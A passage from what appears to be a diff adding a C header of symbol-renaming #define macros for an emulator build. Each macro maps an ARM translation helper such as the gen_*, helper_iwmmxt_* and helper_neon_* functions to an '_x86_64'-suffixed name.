gen_op_iwmmxt_unpackhw_M0_wRn gen_op_iwmmxt_unpackhw_M0_wRn_x86_64 +#define gen_op_iwmmxt_unpacklb_M0_wRn gen_op_iwmmxt_unpacklb_M0_wRn_x86_64 +#define gen_op_iwmmxt_unpackll_M0_wRn gen_op_iwmmxt_unpackll_M0_wRn_x86_64 +#define gen_op_iwmmxt_unpacklsb_M0 gen_op_iwmmxt_unpacklsb_M0_x86_64 +#define gen_op_iwmmxt_unpacklsl_M0 gen_op_iwmmxt_unpacklsl_M0_x86_64 +#define gen_op_iwmmxt_unpacklsw_M0 gen_op_iwmmxt_unpacklsw_M0_x86_64 +#define gen_op_iwmmxt_unpacklub_M0 gen_op_iwmmxt_unpacklub_M0_x86_64 +#define gen_op_iwmmxt_unpacklul_M0 gen_op_iwmmxt_unpacklul_M0_x86_64 +#define gen_op_iwmmxt_unpackluw_M0 gen_op_iwmmxt_unpackluw_M0_x86_64 +#define gen_op_iwmmxt_unpacklw_M0_wRn gen_op_iwmmxt_unpacklw_M0_wRn_x86_64 +#define gen_op_iwmmxt_xorq_M0_wRn gen_op_iwmmxt_xorq_M0_wRn_x86_64 +#define gen_rev16 gen_rev16_x86_64 +#define gen_revsh gen_revsh_x86_64 +#define gen_rfe gen_rfe_x86_64 +#define gen_sar gen_sar_x86_64 +#define gen_sbc_CC gen_sbc_CC_x86_64 +#define gen_sbfx gen_sbfx_x86_64 +#define gen_set_CF_bit31 gen_set_CF_bit31_x86_64 +#define gen_set_condexec gen_set_condexec_x86_64 +#define gen_set_cpsr gen_set_cpsr_x86_64 +#define gen_set_label gen_set_label_x86_64 +#define gen_set_pc_im gen_set_pc_im_x86_64 +#define gen_set_psr gen_set_psr_x86_64 +#define gen_set_psr_im gen_set_psr_im_x86_64 +#define gen_shl gen_shl_x86_64 +#define gen_shr gen_shr_x86_64 +#define gen_smc gen_smc_x86_64 +#define gen_smul_dual gen_smul_dual_x86_64 +#define gen_srs gen_srs_x86_64 +#define gen_ss_advance gen_ss_advance_x86_64 +#define gen_step_complete_exception gen_step_complete_exception_x86_64 +#define gen_store_exclusive gen_store_exclusive_x86_64 +#define gen_storeq_reg gen_storeq_reg_x86_64 +#define gen_sub_carry gen_sub_carry_x86_64 +#define gen_sub_CC gen_sub_CC_x86_64 +#define gen_subq_msw gen_subq_msw_x86_64 +#define gen_swap_half gen_swap_half_x86_64 +#define gen_thumb2_data_op gen_thumb2_data_op_x86_64 +#define gen_thumb2_parallel_addsub gen_thumb2_parallel_addsub_x86_64 +#define gen_ubfx gen_ubfx_x86_64 +#define gen_vfp_abs gen_vfp_abs_x86_64 +#define gen_vfp_add gen_vfp_add_x86_64 +#define gen_vfp_cmp gen_vfp_cmp_x86_64 +#define gen_vfp_cmpe gen_vfp_cmpe_x86_64 +#define gen_vfp_div gen_vfp_div_x86_64 +#define gen_vfp_F1_ld0 gen_vfp_F1_ld0_x86_64 +#define gen_vfp_F1_mul gen_vfp_F1_mul_x86_64 +#define gen_vfp_F1_neg gen_vfp_F1_neg_x86_64 +#define gen_vfp_ld gen_vfp_ld_x86_64 +#define gen_vfp_mrs gen_vfp_mrs_x86_64 +#define gen_vfp_msr gen_vfp_msr_x86_64 +#define gen_vfp_mul gen_vfp_mul_x86_64 +#define gen_vfp_neg gen_vfp_neg_x86_64 +#define gen_vfp_shto gen_vfp_shto_x86_64 +#define gen_vfp_sito gen_vfp_sito_x86_64 +#define gen_vfp_slto gen_vfp_slto_x86_64 +#define gen_vfp_sqrt gen_vfp_sqrt_x86_64 +#define gen_vfp_st gen_vfp_st_x86_64 +#define gen_vfp_sub gen_vfp_sub_x86_64 +#define gen_vfp_tosh gen_vfp_tosh_x86_64 +#define gen_vfp_tosi gen_vfp_tosi_x86_64 +#define gen_vfp_tosiz gen_vfp_tosiz_x86_64 +#define gen_vfp_tosl gen_vfp_tosl_x86_64 +#define gen_vfp_touh gen_vfp_touh_x86_64 +#define gen_vfp_toui gen_vfp_toui_x86_64 +#define gen_vfp_touiz gen_vfp_touiz_x86_64 +#define gen_vfp_toul gen_vfp_toul_x86_64 +#define gen_vfp_uhto gen_vfp_uhto_x86_64 +#define gen_vfp_uito gen_vfp_uito_x86_64 +#define gen_vfp_ulto gen_vfp_ulto_x86_64 +#define get_arm_cp_reginfo get_arm_cp_reginfo_x86_64 +#define get_clock get_clock_x86_64 +#define get_clock_realtime get_clock_realtime_x86_64 +#define get_constraint_priority get_constraint_priority_x86_64 +#define get_float_exception_flags get_float_exception_flags_x86_64 +#define get_float_rounding_mode get_float_rounding_mode_x86_64 +#define get_fpstatus_ptr get_fpstatus_ptr_x86_64 +#define get_level1_table_address get_level1_table_address_x86_64 +#define get_mem_index get_mem_index_x86_64 +#define get_next_param_value get_next_param_value_x86_64 +#define get_opt_name get_opt_name_x86_64 +#define get_opt_value get_opt_value_x86_64 +#define get_page_addr_code get_page_addr_code_x86_64 +#define get_param_value get_param_value_x86_64 +#define get_phys_addr get_phys_addr_x86_64 +#define get_phys_addr_lpae get_phys_addr_lpae_x86_64 +#define get_phys_addr_mpu get_phys_addr_mpu_x86_64 +#define get_phys_addr_v5 get_phys_addr_v5_x86_64 +#define get_phys_addr_v6 get_phys_addr_v6_x86_64 +#define get_system_memory get_system_memory_x86_64 +#define get_ticks_per_sec get_ticks_per_sec_x86_64 +#define g_list_insert_sorted_merged g_list_insert_sorted_merged_x86_64 +#define _GLOBAL_OFFSET_TABLE_ _GLOBAL_OFFSET_TABLE__x86_64 +#define gt_cntfrq_access gt_cntfrq_access_x86_64 +#define gt_cnt_read gt_cnt_read_x86_64 +#define gt_cnt_reset gt_cnt_reset_x86_64 +#define gt_counter_access gt_counter_access_x86_64 +#define gt_ctl_write gt_ctl_write_x86_64 +#define gt_cval_write gt_cval_write_x86_64 +#define gt_get_countervalue gt_get_countervalue_x86_64 +#define gt_pct_access gt_pct_access_x86_64 +#define gt_ptimer_access gt_ptimer_access_x86_64 +#define gt_recalc_timer gt_recalc_timer_x86_64 +#define gt_timer_access gt_timer_access_x86_64 +#define gt_tval_read gt_tval_read_x86_64 +#define gt_tval_write gt_tval_write_x86_64 +#define gt_vct_access gt_vct_access_x86_64 +#define gt_vtimer_access gt_vtimer_access_x86_64 +#define guest_phys_blocks_free guest_phys_blocks_free_x86_64 +#define guest_phys_blocks_init guest_phys_blocks_init_x86_64 +#define handle_vcvt handle_vcvt_x86_64 +#define handle_vminmaxnm handle_vminmaxnm_x86_64 +#define handle_vrint handle_vrint_x86_64 +#define handle_vsel handle_vsel_x86_64 +#define has_help_option has_help_option_x86_64 +#define have_bmi1 have_bmi1_x86_64 +#define have_bmi2 have_bmi2_x86_64 +#define hcr_write hcr_write_x86_64 +#define helper_access_check_cp_reg helper_access_check_cp_reg_x86_64 +#define helper_add_saturate helper_add_saturate_x86_64 +#define helper_add_setq helper_add_setq_x86_64 +#define helper_add_usaturate helper_add_usaturate_x86_64 +#define helper_be_ldl_cmmu helper_be_ldl_cmmu_x86_64 +#define helper_be_ldq_cmmu helper_be_ldq_cmmu_x86_64 +#define helper_be_ldq_mmu helper_be_ldq_mmu_x86_64 +#define helper_be_ldsl_mmu helper_be_ldsl_mmu_x86_64 +#define helper_be_ldsw_mmu helper_be_ldsw_mmu_x86_64 +#define helper_be_ldul_mmu helper_be_ldul_mmu_x86_64 +#define helper_be_lduw_mmu helper_be_lduw_mmu_x86_64 +#define helper_be_ldw_cmmu helper_be_ldw_cmmu_x86_64 +#define helper_be_stl_mmu helper_be_stl_mmu_x86_64 +#define helper_be_stq_mmu helper_be_stq_mmu_x86_64 +#define helper_be_stw_mmu helper_be_stw_mmu_x86_64 +#define helper_clear_pstate_ss helper_clear_pstate_ss_x86_64 +#define helper_clz_arm helper_clz_arm_x86_64 +#define helper_cpsr_read helper_cpsr_read_x86_64 +#define helper_cpsr_write helper_cpsr_write_x86_64 +#define helper_crc32_arm helper_crc32_arm_x86_64 +#define helper_crc32c helper_crc32c_x86_64 +#define helper_crypto_aese helper_crypto_aese_x86_64 +#define helper_crypto_aesmc helper_crypto_aesmc_x86_64 +#define helper_crypto_sha1_3reg helper_crypto_sha1_3reg_x86_64 +#define helper_crypto_sha1h helper_crypto_sha1h_x86_64 +#define helper_crypto_sha1su1 helper_crypto_sha1su1_x86_64 +#define helper_crypto_sha256h helper_crypto_sha256h_x86_64 +#define helper_crypto_sha256h2 helper_crypto_sha256h2_x86_64 +#define helper_crypto_sha256su0 helper_crypto_sha256su0_x86_64 +#define helper_crypto_sha256su1 helper_crypto_sha256su1_x86_64 +#define helper_dc_zva helper_dc_zva_x86_64 +#define helper_double_saturate helper_double_saturate_x86_64 +#define helper_exception_internal helper_exception_internal_x86_64 +#define helper_exception_return helper_exception_return_x86_64 +#define helper_exception_with_syndrome helper_exception_with_syndrome_x86_64 +#define helper_get_cp_reg helper_get_cp_reg_x86_64 +#define helper_get_cp_reg64 helper_get_cp_reg64_x86_64 +#define helper_get_r13_banked helper_get_r13_banked_x86_64 +#define helper_get_user_reg helper_get_user_reg_x86_64 +#define helper_iwmmxt_addcb helper_iwmmxt_addcb_x86_64 +#define helper_iwmmxt_addcl helper_iwmmxt_addcl_x86_64 +#define helper_iwmmxt_addcw helper_iwmmxt_addcw_x86_64 +#define helper_iwmmxt_addnb helper_iwmmxt_addnb_x86_64 +#define helper_iwmmxt_addnl helper_iwmmxt_addnl_x86_64 +#define helper_iwmmxt_addnw helper_iwmmxt_addnw_x86_64 +#define helper_iwmmxt_addsb helper_iwmmxt_addsb_x86_64 +#define helper_iwmmxt_addsl helper_iwmmxt_addsl_x86_64 +#define helper_iwmmxt_addsw helper_iwmmxt_addsw_x86_64 +#define helper_iwmmxt_addub helper_iwmmxt_addub_x86_64 +#define helper_iwmmxt_addul helper_iwmmxt_addul_x86_64 +#define helper_iwmmxt_adduw helper_iwmmxt_adduw_x86_64 +#define helper_iwmmxt_align helper_iwmmxt_align_x86_64 +#define helper_iwmmxt_avgb0 helper_iwmmxt_avgb0_x86_64 +#define helper_iwmmxt_avgb1 helper_iwmmxt_avgb1_x86_64 +#define helper_iwmmxt_avgw0 helper_iwmmxt_avgw0_x86_64 +#define helper_iwmmxt_avgw1 helper_iwmmxt_avgw1_x86_64 +#define helper_iwmmxt_bcstb helper_iwmmxt_bcstb_x86_64 +#define helper_iwmmxt_bcstl helper_iwmmxt_bcstl_x86_64 +#define helper_iwmmxt_bcstw helper_iwmmxt_bcstw_x86_64 +#define helper_iwmmxt_cmpeqb helper_iwmmxt_cmpeqb_x86_64 +#define helper_iwmmxt_cmpeql helper_iwmmxt_cmpeql_x86_64 +#define helper_iwmmxt_cmpeqw helper_iwmmxt_cmpeqw_x86_64 +#define helper_iwmmxt_cmpgtsb helper_iwmmxt_cmpgtsb_x86_64 +#define helper_iwmmxt_cmpgtsl helper_iwmmxt_cmpgtsl_x86_64 +#define helper_iwmmxt_cmpgtsw helper_iwmmxt_cmpgtsw_x86_64 +#define helper_iwmmxt_cmpgtub helper_iwmmxt_cmpgtub_x86_64 +#define helper_iwmmxt_cmpgtul helper_iwmmxt_cmpgtul_x86_64 +#define helper_iwmmxt_cmpgtuw helper_iwmmxt_cmpgtuw_x86_64 +#define helper_iwmmxt_insr helper_iwmmxt_insr_x86_64 +#define helper_iwmmxt_macsw helper_iwmmxt_macsw_x86_64 +#define helper_iwmmxt_macuw helper_iwmmxt_macuw_x86_64 +#define helper_iwmmxt_maddsq helper_iwmmxt_maddsq_x86_64 +#define helper_iwmmxt_madduq helper_iwmmxt_madduq_x86_64 +#define helper_iwmmxt_maxsb helper_iwmmxt_maxsb_x86_64 +#define helper_iwmmxt_maxsl helper_iwmmxt_maxsl_x86_64 +#define helper_iwmmxt_maxsw helper_iwmmxt_maxsw_x86_64 +#define helper_iwmmxt_maxub helper_iwmmxt_maxub_x86_64 +#define helper_iwmmxt_maxul helper_iwmmxt_maxul_x86_64 +#define helper_iwmmxt_maxuw helper_iwmmxt_maxuw_x86_64 +#define helper_iwmmxt_minsb helper_iwmmxt_minsb_x86_64 +#define helper_iwmmxt_minsl helper_iwmmxt_minsl_x86_64 +#define helper_iwmmxt_minsw helper_iwmmxt_minsw_x86_64 +#define helper_iwmmxt_minub helper_iwmmxt_minub_x86_64 +#define helper_iwmmxt_minul helper_iwmmxt_minul_x86_64 +#define helper_iwmmxt_minuw helper_iwmmxt_minuw_x86_64 +#define helper_iwmmxt_msbb helper_iwmmxt_msbb_x86_64 +#define helper_iwmmxt_msbl helper_iwmmxt_msbl_x86_64 +#define helper_iwmmxt_msbw helper_iwmmxt_msbw_x86_64 +#define helper_iwmmxt_muladdsl helper_iwmmxt_muladdsl_x86_64 +#define helper_iwmmxt_muladdsw helper_iwmmxt_muladdsw_x86_64 +#define helper_iwmmxt_muladdswl helper_iwmmxt_muladdswl_x86_64 +#define helper_iwmmxt_mulshw helper_iwmmxt_mulshw_x86_64 +#define helper_iwmmxt_mulslw helper_iwmmxt_mulslw_x86_64 +#define helper_iwmmxt_muluhw helper_iwmmxt_muluhw_x86_64 +#define helper_iwmmxt_mululw helper_iwmmxt_mululw_x86_64 +#define helper_iwmmxt_packsl helper_iwmmxt_packsl_x86_64 +#define helper_iwmmxt_packsq helper_iwmmxt_packsq_x86_64 +#define helper_iwmmxt_packsw helper_iwmmxt_packsw_x86_64 +#define helper_iwmmxt_packul helper_iwmmxt_packul_x86_64 +#define helper_iwmmxt_packuq helper_iwmmxt_packuq_x86_64 +#define helper_iwmmxt_packuw helper_iwmmxt_packuw_x86_64 +#define helper_iwmmxt_rorl helper_iwmmxt_rorl_x86_64 +#define helper_iwmmxt_rorq helper_iwmmxt_rorq_x86_64 +#define helper_iwmmxt_rorw helper_iwmmxt_rorw_x86_64 +#define helper_iwmmxt_sadb helper_iwmmxt_sadb_x86_64 +#define helper_iwmmxt_sadw helper_iwmmxt_sadw_x86_64 +#define helper_iwmmxt_setpsr_nz helper_iwmmxt_setpsr_nz_x86_64 +#define helper_iwmmxt_shufh helper_iwmmxt_shufh_x86_64 +#define helper_iwmmxt_slll helper_iwmmxt_slll_x86_64 +#define helper_iwmmxt_sllq helper_iwmmxt_sllq_x86_64 +#define helper_iwmmxt_sllw helper_iwmmxt_sllw_x86_64 +#define helper_iwmmxt_sral helper_iwmmxt_sral_x86_64 +#define helper_iwmmxt_sraq helper_iwmmxt_sraq_x86_64 +#define helper_iwmmxt_sraw helper_iwmmxt_sraw_x86_64 +#define helper_iwmmxt_srll helper_iwmmxt_srll_x86_64 +#define helper_iwmmxt_srlq helper_iwmmxt_srlq_x86_64 +#define helper_iwmmxt_srlw helper_iwmmxt_srlw_x86_64 +#define helper_iwmmxt_subnb helper_iwmmxt_subnb_x86_64 +#define helper_iwmmxt_subnl helper_iwmmxt_subnl_x86_64 +#define helper_iwmmxt_subnw helper_iwmmxt_subnw_x86_64 +#define helper_iwmmxt_subsb helper_iwmmxt_subsb_x86_64 +#define helper_iwmmxt_subsl helper_iwmmxt_subsl_x86_64 +#define helper_iwmmxt_subsw helper_iwmmxt_subsw_x86_64 +#define helper_iwmmxt_subub helper_iwmmxt_subub_x86_64 +#define helper_iwmmxt_subul helper_iwmmxt_subul_x86_64 +#define helper_iwmmxt_subuw helper_iwmmxt_subuw_x86_64 +#define helper_iwmmxt_unpackhb helper_iwmmxt_unpackhb_x86_64 +#define helper_iwmmxt_unpackhl helper_iwmmxt_unpackhl_x86_64 +#define helper_iwmmxt_unpackhsb helper_iwmmxt_unpackhsb_x86_64 +#define helper_iwmmxt_unpackhsl helper_iwmmxt_unpackhsl_x86_64 +#define helper_iwmmxt_unpackhsw helper_iwmmxt_unpackhsw_x86_64 +#define helper_iwmmxt_unpackhub helper_iwmmxt_unpackhub_x86_64 +#define helper_iwmmxt_unpackhul helper_iwmmxt_unpackhul_x86_64 +#define helper_iwmmxt_unpackhuw helper_iwmmxt_unpackhuw_x86_64 +#define helper_iwmmxt_unpackhw helper_iwmmxt_unpackhw_x86_64 +#define helper_iwmmxt_unpacklb helper_iwmmxt_unpacklb_x86_64 +#define helper_iwmmxt_unpackll helper_iwmmxt_unpackll_x86_64 +#define helper_iwmmxt_unpacklsb helper_iwmmxt_unpacklsb_x86_64 +#define helper_iwmmxt_unpacklsl helper_iwmmxt_unpacklsl_x86_64 +#define helper_iwmmxt_unpacklsw helper_iwmmxt_unpacklsw_x86_64 +#define helper_iwmmxt_unpacklub helper_iwmmxt_unpacklub_x86_64 +#define helper_iwmmxt_unpacklul helper_iwmmxt_unpacklul_x86_64 +#define helper_iwmmxt_unpackluw helper_iwmmxt_unpackluw_x86_64 +#define helper_iwmmxt_unpacklw helper_iwmmxt_unpacklw_x86_64 +#define helper_ldb_cmmu helper_ldb_cmmu_x86_64 +#define helper_ldb_mmu helper_ldb_mmu_x86_64 +#define helper_ldl_cmmu helper_ldl_cmmu_x86_64 +#define helper_ldl_mmu helper_ldl_mmu_x86_64 +#define helper_ldq_cmmu helper_ldq_cmmu_x86_64 +#define helper_ldq_mmu helper_ldq_mmu_x86_64 +#define helper_ldw_cmmu helper_ldw_cmmu_x86_64 +#define helper_ldw_mmu helper_ldw_mmu_x86_64 +#define helper_le_ldl_cmmu helper_le_ldl_cmmu_x86_64 +#define helper_le_ldq_cmmu helper_le_ldq_cmmu_x86_64 +#define helper_le_ldq_mmu helper_le_ldq_mmu_x86_64 +#define helper_le_ldsl_mmu helper_le_ldsl_mmu_x86_64 +#define helper_le_ldsw_mmu helper_le_ldsw_mmu_x86_64 +#define helper_le_ldul_mmu helper_le_ldul_mmu_x86_64 +#define helper_le_lduw_mmu helper_le_lduw_mmu_x86_64 +#define helper_le_ldw_cmmu helper_le_ldw_cmmu_x86_64 +#define helper_le_stl_mmu helper_le_stl_mmu_x86_64 +#define helper_le_stq_mmu helper_le_stq_mmu_x86_64 +#define helper_le_stw_mmu helper_le_stw_mmu_x86_64 +#define helper_msr_i_pstate helper_msr_i_pstate_x86_64 +#define helper_neon_abd_f32 helper_neon_abd_f32_x86_64 +#define helper_neon_abdl_s16 helper_neon_abdl_s16_x86_64 +#define helper_neon_abdl_s32 helper_neon_abdl_s32_x86_64 +#define helper_neon_abdl_s64 helper_neon_abdl_s64_x86_64 +#define helper_neon_abdl_u16 helper_neon_abdl_u16_x86_64 +#define helper_neon_abdl_u32 helper_neon_abdl_u32_x86_64 +#define helper_neon_abdl_u64 helper_neon_abdl_u64_x86_64 +#define helper_neon_abd_s16 helper_neon_abd_s16_x86_64 +#define helper_neon_abd_s32 helper_neon_abd_s32_x86_64 +#define helper_neon_abd_s8 helper_neon_abd_s8_x86_64 +#define helper_neon_abd_u16 helper_neon_abd_u16_x86_64 +#define helper_neon_abd_u32 helper_neon_abd_u32_x86_64 +#define helper_neon_abd_u8 helper_neon_abd_u8_x86_64 +#define helper_neon_abs_s16 helper_neon_abs_s16_x86_64 +#define helper_neon_abs_s8 helper_neon_abs_s8_x86_64 +#define helper_neon_acge_f32 helper_neon_acge_f32_x86_64 +#define helper_neon_acge_f64 helper_neon_acge_f64_x86_64 +#define helper_neon_acgt_f32 helper_neon_acgt_f32_x86_64 +#define helper_neon_acgt_f64 helper_neon_acgt_f64_x86_64 +#define helper_neon_addl_saturate_s32 helper_neon_addl_saturate_s32_x86_64 +#define helper_neon_addl_saturate_s64 helper_neon_addl_saturate_s64_x86_64 +#define helper_neon_addl_u16 helper_neon_addl_u16_x86_64 +#define helper_neon_addl_u32 helper_neon_addl_u32_x86_64 +#define helper_neon_add_u16 helper_neon_add_u16_x86_64 +#define helper_neon_add_u8 helper_neon_add_u8_x86_64 +#define helper_neon_ceq_f32 helper_neon_ceq_f32_x86_64 +#define helper_neon_ceq_u16 helper_neon_ceq_u16_x86_64 +#define helper_neon_ceq_u32 helper_neon_ceq_u32_x86_64 +#define helper_neon_ceq_u8 helper_neon_ceq_u8_x86_64 +#define helper_neon_cge_f32 helper_neon_cge_f32_x86_64 +#define helper_neon_cge_s16 helper_neon_cge_s16_x86_64 +#define helper_neon_cge_s32 helper_neon_cge_s32_x86_64 +#define helper_neon_cge_s8 helper_neon_cge_s8_x86_64 +#define helper_neon_cge_u16 helper_neon_cge_u16_x86_64 +#define helper_neon_cge_u32 helper_neon_cge_u32_x86_64 +#define helper_neon_cge_u8 helper_neon_cge_u8_x86_64 +#define helper_neon_cgt_f32 helper_neon_cgt_f32_x86_64 +#define helper_neon_cgt_s16 helper_neon_cgt_s16_x86_64 +#define helper_neon_cgt_s32 helper_neon_cgt_s32_x86_64 +#define helper_neon_cgt_s8 helper_neon_cgt_s8_x86_64 +#define helper_neon_cgt_u16 helper_neon_cgt_u16_x86_64 +#define helper_neon_cgt_u32 helper_neon_cgt_u32_x86_64 +#define helper_neon_cgt_u8 helper_neon_cgt_u8_x86_64 +#define helper_neon_cls_s16 helper_neon_cls_s16_x86_64 +#define helper_neon_cls_s32 helper_neon_cls_s32_x86_64 +#define helper_neon_cls_s8 helper_neon_cls_s8_x86_64 +#define helper_neon_clz_u16 helper_neon_clz_u16_x86_64 +#define helper_neon_clz_u8 helper_neon_clz_u8_x86_64 +#define helper_neon_cnt_u8 helper_neon_cnt_u8_x86_64 +#define helper_neon_fcvt_f16_to_f32 helper_neon_fcvt_f16_to_f32_x86_64 +#define helper_neon_fcvt_f32_to_f16 helper_neon_fcvt_f32_to_f16_x86_64 +#define helper_neon_hadd_s16 helper_neon_hadd_s16_x86_64 +#define helper_neon_hadd_s32 helper_neon_hadd_s32_x86_64 +#define helper_neon_hadd_s8 helper_neon_hadd_s8_x86_64 +#define helper_neon_hadd_u16 helper_neon_hadd_u16_x86_64 +#define helper_neon_hadd_u32 helper_neon_hadd_u32_x86_64 +#define helper_neon_hadd_u8 helper_neon_hadd_u8_x86_64 +#define helper_neon_hsub_s16 helper_neon_hsub_s16_x86_64 +#define helper_neon_hsub_s32 helper_neon_hsub_s32_x86_64 +#define helper_neon_hsub_s8 helper_neon_hsub_s8_x86_64 +#define helper_neon_hsub_u16 helper_neon_hsub_u16_x86_64 +#define helper_neon_hsub_u32 helper_neon_hsub_u32_x86_64 +#define helper_neon_hsub_u8 helper_neon_hsub_u8_x86_64 +#define helper_neon_max_s16 helper_neon_max_s16_x86_64 +#define helper_neon_max_s32 helper_neon_max_s32_x86_64 +#define helper_neon_max_s8 helper_neon_max_s8_x86_64 +#define helper_neon_max_u16 helper_neon_max_u16_x86_64 +#define helper_neon_max_u32 helper_neon_max_u32_x86_64 +#define helper_neon_max_u8 helper_neon_max_u8_x86_64 +#define helper_neon_min_s16 helper_neon_min_s16_x86_64 +#define helper_neon_min_s32 helper_neon_min_s32_x86_64 +#define helper_neon_min_s8 helper_neon_min_s8_x86_64 +#define helper_neon_min_u16 helper_neon_min_u16_x86_64 +#define helper_neon_min_u32 helper_neon_min_u32_x86_64 +#define helper_neon_min_u8 helper_neon_min_u8_x86_64 +#define helper_neon_mull_p8 helper_neon_mull_p8_x86_64 +#define helper_neon_mull_s16 helper_neon_mull_s16_x86_64 +#define helper_neon_mull_s8 helper_neon_mull_s8_x86_64 +#define helper_neon_mull_u16 helper_neon_mull_u16_x86_64 +#define helper_neon_mull_u8 helper_neon_mull_u8_x86_64 +#define helper_neon_mul_p8 helper_neon_mul_p8_x86_64 +#define helper_neon_mul_u16 helper_neon_mul_u16_x86_64 +#define helper_neon_mul_u8 helper_neon_mul_u8_x86_64 +#define helper_neon_narrow_high_u16 helper_neon_narrow_high_u16_x86_64 +#define helper_neon_narrow_high_u8 helper_neon_narrow_high_u8_x86_64 +#define helper_neon_narrow_round_high_u16 helper_neon_narrow_round_high_u16_x86_64 +#define helper_neon_narrow_round_high_u8 helper_neon_narrow_round_high_u8_x86_64 +#define helper_neon_narrow_sat_s16 helper_neon_narrow_sat_s16_x86_64 +#define helper_neon_narrow_sat_s32 helper_neon_narrow_sat_s32_x86_64 +#define helper_neon_narrow_sat_s8 helper_neon_narrow_sat_s8_x86_64 +#define helper_neon_narrow_sat_u16 helper_neon_narrow_sat_u16_x86_64 +#define helper_neon_narrow_sat_u32 helper_neon_narrow_sat_u32_x86_64 +#define helper_neon_narrow_sat_u8 helper_neon_narrow_sat_u8_x86_64 +#define helper_neon_narrow_u16 helper_neon_narrow_u16_x86_64 +#define helper_neon_narrow_u8 helper_neon_narrow_u8_x86_64 +#define helper_neon_negl_u16 helper_neon_negl_u16_x86_64 +#define helper_neon_negl_u32 helper_neon_negl_u32_x86_64 +#define helper_neon_paddl_u16 helper_neon_paddl_u16_x86_64 +#define helper_neon_paddl_u32 helper_neon_paddl_u32_x86_64 +#define helper_neon_padd_u16 helper_neon_padd_u16_x86_64 +#define helper_neon_padd_u8 helper_neon_padd_u8_x86_64 +#define helper_neon_pmax_s16 helper_neon_pmax_s16_x86_64 +#define helper_neon_pmax_s8 helper_neon_pmax_s8_x86_64 +#define helper_neon_pmax_u16 helper_neon_pmax_u16_x86_64 +#define helper_neon_pmax_u8 helper_neon_pmax_u8_x86_64 +#define helper_neon_pmin_s16 helper_neon_pmin_s16_x86_64 +#define helper_neon_pmin_s8 helper_neon_pmin_s8_x86_64 +#define helper_neon_pmin_u16 helper_neon_pmin_u16_x86_64 +#define helper_neon_pmin_u8 helper_neon_pmin_u8_x86_64 +#define helper_neon_pmull_64_hi helper_neon_pmull_64_hi_x86_64 +#define helper_neon_pmull_64_lo helper_neon_pmull_64_lo_x86_64 +#define helper_neon_qabs_s16 helper_neon_qabs_s16_x86_64 +#define helper_neon_qabs_s32 helper_neon_qabs_s32_x86_64 +#define helper_neon_qabs_s64 helper_neon_qabs_s64_x86_64 +#define helper_neon_qabs_s8 helper_neon_qabs_s8_x86_64 +#define helper_neon_qadd_s16 helper_neon_qadd_s16_x86_64 +#define helper_neon_qadd_s32 helper_neon_qadd_s32_x86_64 +#define helper_neon_qadd_s64 helper_neon_qadd_s64_x86_64 +#define helper_neon_qadd_s8 helper_neon_qadd_s8_x86_64 +#define helper_neon_qadd_u16 helper_neon_qadd_u16_x86_64 +#define helper_neon_qadd_u32 helper_neon_qadd_u32_x86_64 +#define helper_neon_qadd_u64 helper_neon_qadd_u64_x86_64 +#define helper_neon_qadd_u8 helper_neon_qadd_u8_x86_64 +#define helper_neon_qdmulh_s16 helper_neon_qdmulh_s16_x86_64 +#define helper_neon_qdmulh_s32 helper_neon_qdmulh_s32_x86_64 +#define helper_neon_qneg_s16 helper_neon_qneg_s16_x86_64 +#define helper_neon_qneg_s32 helper_neon_qneg_s32_x86_64 +#define helper_neon_qneg_s64 helper_neon_qneg_s64_x86_64 +#define helper_neon_qneg_s8 helper_neon_qneg_s8_x86_64 +#define helper_neon_qrdmulh_s16 helper_neon_qrdmulh_s16_x86_64 +#define helper_neon_qrdmulh_s32 helper_neon_qrdmulh_s32_x86_64 +#define helper_neon_qrshl_s16 helper_neon_qrshl_s16_x86_64 +#define helper_neon_qrshl_s32 helper_neon_qrshl_s32_x86_64 +#define helper_neon_qrshl_s64 helper_neon_qrshl_s64_x86_64 +#define helper_neon_qrshl_s8 helper_neon_qrshl_s8_x86_64 +#define helper_neon_qrshl_u16 helper_neon_qrshl_u16_x86_64 +#define helper_neon_qrshl_u32 helper_neon_qrshl_u32_x86_64 +#define helper_neon_qrshl_u64 helper_neon_qrshl_u64_x86_64 +#define helper_neon_qrshl_u8 helper_neon_qrshl_u8_x86_64 +#define helper_neon_qshl_s16 helper_neon_qshl_s16_x86_64 +#define helper_neon_qshl_s32 helper_neon_qshl_s32_x86_64 +#define helper_neon_qshl_s64 helper_neon_qshl_s64_x86_64 +#define helper_neon_qshl_s8 helper_neon_qshl_s8_x86_64 +#define helper_neon_qshl_u16 helper_neon_qshl_u16_x86_64 +#define helper_neon_qshl_u32 helper_neon_qshl_u32_x86_64 +#define helper_neon_qshl_u64 helper_neon_qshl_u64_x86_64 +#define helper_neon_qshl_u8 helper_neon_qshl_u8_x86_64 +#define helper_neon_qshlu_s16 helper_neon_qshlu_s16_x86_64 +#define helper_neon_qshlu_s32 helper_neon_qshlu_s32_x86_64 +#define helper_neon_qshlu_s64 helper_neon_qshlu_s64_x86_64 +#define helper_neon_qshlu_s8 helper_neon_qshlu_s8_x86_64 +#define helper_neon_qsub_s16 helper_neon_qsub_s16_x86_64 +#define helper_neon_qsub_s32 helper_neon_qsub_s32_x86_64 +#define helper_neon_qsub_s64 helper_neon_qsub_s64_x86_64 +#define helper_neon_qsub_s8 helper_neon_qsub_s8_x86_64 +#define helper_neon_qsub_u16 helper_neon_qsub_u16_x86_64 +#define helper_neon_qsub_u32 helper_neon_qsub_u32_x86_64 +#define helper_neon_qsub_u64 helper_neon_qsub_u64_x86_64 +#define helper_neon_qsub_u8 helper_neon_qsub_u8_x86_64 +#define helper_neon_qunzip16 helper_neon_qunzip16_x86_64 +#define helper_neon_qunzip32 helper_neon_qunzip32_x86_64 +#define helper_neon_qunzip8 helper_neon_qunzip8_x86_64 +#define helper_neon_qzip16 helper_neon_qzip16_x86_64 +#define helper_neon_qzip32 helper_neon_qzip32_x86_64 +#define helper_neon_qzip8 helper_neon_qzip8_x86_64 +#define helper_neon_rbit_u8 helper_neon_rbit_u8_x86_64 +#define helper_neon_rhadd_s16 helper_neon_rhadd_s16_x86_64 +#define helper_neon_rhadd_s32 helper_neon_rhadd_s32_x86_64 +#define helper_neon_rhadd_s8 helper_neon_rhadd_s8_x86_64 +#define helper_neon_rhadd_u16 helper_neon_rhadd_u16_x86_64 +#define helper_neon_rhadd_u32 helper_neon_rhadd_u32_x86_64 +#define helper_neon_rhadd_u8 helper_neon_rhadd_u8_x86_64 +#define helper_neon_rshl_s16 helper_neon_rshl_s16_x86_64 +#define helper_neon_rshl_s32 helper_neon_rshl_s32_x86_64 +#define helper_neon_rshl_s64 